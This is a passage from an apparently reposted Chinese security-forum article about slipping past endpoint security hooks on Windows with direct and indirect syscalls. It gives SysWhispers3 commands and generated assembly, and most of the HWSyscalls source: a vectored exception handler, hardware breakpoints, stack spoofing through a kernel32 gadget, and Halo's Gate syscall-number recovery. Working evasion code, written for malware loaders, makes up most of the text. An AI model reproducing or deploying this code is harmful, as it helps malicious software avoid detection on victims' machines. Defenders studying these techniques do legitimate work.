if (*(unsigned char*)(ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset) == instructValue)
return (ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset);
} while(1);
}
#endif
.text:000000018009F600 NtCreateThread proc near ; DATA XREF: .rdata:0000000180134736↓o
.text:000000018009F600 ; .rdata:off_18016A5C8↓o
.text:000000018009F600 ; .pdata:00000001801905C4↓o
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency system call
.text:000000018009F614 C3 retn
git clone https://github.com/klezVirus/SysWhispers3.git
cd SysWhispers3
python .\syswhispers.py --help
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m jumper_randomized . ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. __/
`-. | | `-. |/|/ | | | `-. | | |-' | `-. . \
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' '''
/| | @Jackson_T
`-' ' @modexpblog, 2021Edits by @klezVirus, 2022
SysWhispers3: Why call the kernel when you can whisper?[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m egg_hunter . ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. __/
`-. | | `-. |/|/ | | | `-. | | |-' | `-. . \
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' '''
/| | @Jackson_T
`-' ' @modexpblog, 2021Edits by @klezVirus, 2022
SysWhispers3: Why call the kernel when you can whisper?[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done
[*] With the egg-hunter, you need to use a search-replace functionality:
unsigned char egg[] = { 0x65, 0x0, 0x0, 0x61, 0x65, 0x0, 0x0, 0x61 }; // egg
unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
EXTERN SW3_GetSyscallNumber: PROC Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A30CA99Fh ; Load function hash into ECX.
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 65h ; "e"
DB 0h ; "0"
DB 0h ; "0"
DB 61h ; "a"
DB 65h ; "e"
DB 0h ; "0"
DB 0h ; "0"
DB 61h ; "a"
ret
Sw3NtAllocateVirtualMemory ENDP
EXTERN SW3_GetSyscallNumber: PROC EXTERN SW3_GetRandomSyscallAddress: PROC
Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 001960D01h ; Load function hash into ECX.
call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api.
mov r11, rax ; Save the address of the syscall
mov ecx, 001960D01h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP
jmp r11
,r11是SW3_GetRandomSyscallAddress
获取的syscall address。这种方式可以绕过对静态syscall指令的扫描。PrepareSyscall(要调用的NT函数)
即可触发VEH,同时间接调用nt函数对应的syscall。#include "HWSyscalls.h" typedef NTSTATUS(WINAPI* NtOpenProcess_t)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN OPTIONAL PCLIENT_ID ClientId);void main() {
// Initialize the exception handler and find the required gadgets.
if (!InitHWSyscalls())
return;// ...
// Execute your function!
NtOpenProcess_t pNtOpenProcess = (NtOpenProcess_t)PrepareSyscall((char*)("NtOpenProcess"));
NTSTATUS status = pNtOpenProcess(&targetHandle, PROCESS_ALL_ACCESS, &object, &clientID);// ...
// Removing the exception handler.
DeinitHWSyscalls();}
bool InitHWSyscalls() {
myThread = GetCurrentThread();
hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll");if (!FindRetGadget()) {
DEBUG_PRINT("[!] Could not find a suitable \"ADD RSP,68;RET\" gadget in kernel32 or kernelbase. InitHWSyscalls failed.");
return false;
}// Register exception handler
exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);if (!exceptionHandlerHandle) {
DEBUG_PRINT("[!] Could not register VEH: 0x%X\n", GetLastError());
return false;
}return SetMainBreakpoint();
}
bool FindRetGadget() {
// Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase
retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
if (retGadgetAddress != 0) {
DEBUG_PRINT("[+] Found RET_GADGET in kernel32.dll: %#llx\n", retGadgetAddress);
return true;
}
else {
retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
DEBUG_PRINT("[+] Found RET_GADGET in kernelbase.dll: %#llx\n", retGadgetAddress);
if (retGadgetAddress != 0) {
return true;
}
}
return false;
}
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
// 单步执行异常
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// RIP命中断点函数
if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) {
DEBUG_PRINT("\n===============HWSYSCALLS DEBUG===============");
DEBUG_PRINT("\n[+] PrepareSyscall Breakpoint Hit (%#llx)!\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);// 从ntdll中找到PrepareSyscall传入的函数地址
// Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function
ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx));
DEBUG_PRINT("[+] Found %s address: 0x%I64X\n", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress);// 将硬件断点Dr0移动到指定调用nt函数
// Move breakpoint to the NTAPI function;
DEBUG_PRINT("[+] Moving breakpoint to %#llx\n", ntFunctionAddress);
ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress;
}
// 调用PrepareSyscall指定nt函数触发断点
else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) {
DEBUG_PRINT("[+] NTAPI Function Breakpoint Hit (%#llx)!\n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress);// 伪造一个kernel32.dll的堆栈,利用FindRetGadget获取"ADD RSP,68;RET"的gadget
// Create a new stack to spoof the kernel32 function address
// The stack size will be 0x70 which is compatible with the RET_GADGET we found.
// sub rsp, 70
ExceptionInfo->ContextRecord->Rsp -= 0x70;
// 为什么这里是0x70,因为RET本身会退栈0x8(pop rip),ADD 0x68+0X8就是0x70的空间,为了栈对齐
// mov rsp, REG_GADGET_ADDRESS
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress;
DEBUG_PRINT("[+] Created a new stack frame with RET_GADGET (%#llx) as the return address\n", retGadgetAddress);// 栈中函数参数的伪造
// 假设有八个参数,将参数从rsp+0x70+offset转移到rsp+offset
// offset是由预定义的参数数量和偏移来计算的
// Copy the stack arguments from the original stack
for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++)
{
const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70);
}
DEBUG_PRINT("[+] Original stack arguments successfully copied over to the new stack\n");DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip;
// 4C 8B D1 mov r10, rcx ; NtCreateThread
// B8 4E 00 00 00 mov eax, 4Eh ; 'N'
// 检查前四个字节是否是通用syscall序列
// 不一样则是hook了
char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 };
if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) {
DEBUG_PRINT("[+] Function is not hooked\n");
DEBUG_PRINT("[+] Continuing with normal execution\n");
}
else {
DEBUG_PRINT("[+] Function is HOOKED!\n");
DEBUG_PRINT("[+] Looking for the SSN via Halos Gate\n");
// 仿照天堂之门,动态获取SSN
WORD syscallNumber = FindSyscallNumber(pFunctionAddress);
//
if (syscallNumber == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber);
if (syscallReturnAddress == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}// 最终构造syscall序列,间接调用找到的syscall;ret
// mov r10, rcx
DEBUG_PRINT("[+] Moving RCX to R10 (mov r10, rcx)\n");
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
//mov eax, SSN
DEBUG_PRINT("[+] Moving SSN to RAX (mov rax, 0x%X)\n", syscallNumber);
ExceptionInfo->ContextRecord->Rax = syscallNumber;
//Set RIP to syscall;ret; opcode address
DEBUG_PRINT("[+] Jumping to \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
ExceptionInfo->ContextRecord->Rip = syscallReturnAddress;}
// Move breakpoint back to PrepareSyscall to catch the next invoke
DEBUG_PRINT("[+] Moving breakpoint back to PrepareSyscall to catch the next invoke\n");
ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall;DEBUG_PRINT("==============================================\n\n");
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) {
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
DWORD64 syscallReturnAddress = 0;for (WORD idx = 1; idx <= 32; idx++) {
if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) {
syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx);
DEBUG_PRINT("[+] Found \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
break;
}
}if (syscallReturnAddress == 0)
DEBUG_PRINT("[-] Could not find \"syscall;ret;\" opcode address\n");return syscallReturnAddress;
}
bool InitHWSyscalls() {
......
// Register exception handler
exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
......
return SetMainBreakpoint();
}
SetThreadContext
下在了ctx.Dr0上,是PrepareSyscall函数,这个函数的作用是返回一个函数地址,入参是需要调用的nt函数。UINT64 PrepareSyscall(char* functionName) {
return ntFunctionAddress;
}bool SetMainBreakpoint() {
// Dynamically find the GetThreadContext and SetThreadContext functions
GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext");
SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext");DWORD old = 0;
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;// Get current thread context
pGetThreadContext(myThread, &ctx);// Set hardware breakpoint on PrepareSyscall function
ctx.Dr0 = (UINT64)&PrepareSyscall;
ctx.Dr7 |= (1 << 0);
ctx.Dr7 &= ~(1 << 16);
ctx.Dr7 &= ~(1 << 17);
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;// Apply the modified context to the current thread
if (!pSetThreadContext(myThread, &ctx)) {
DEBUG_PRINT("[-] Could not set new thread context: 0x%X", GetLastError());
return false;
}DEBUG_PRINT("[+] Main HWBP set successfully\n");
return true;
}
看雪ID:天堂猪0ink
https://bbs.kanxue.com/user-home-959762.htm
# 往期推荐
2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
3、银狐样本分析
球分享
球点赞
球在看
点击阅读原文查看更多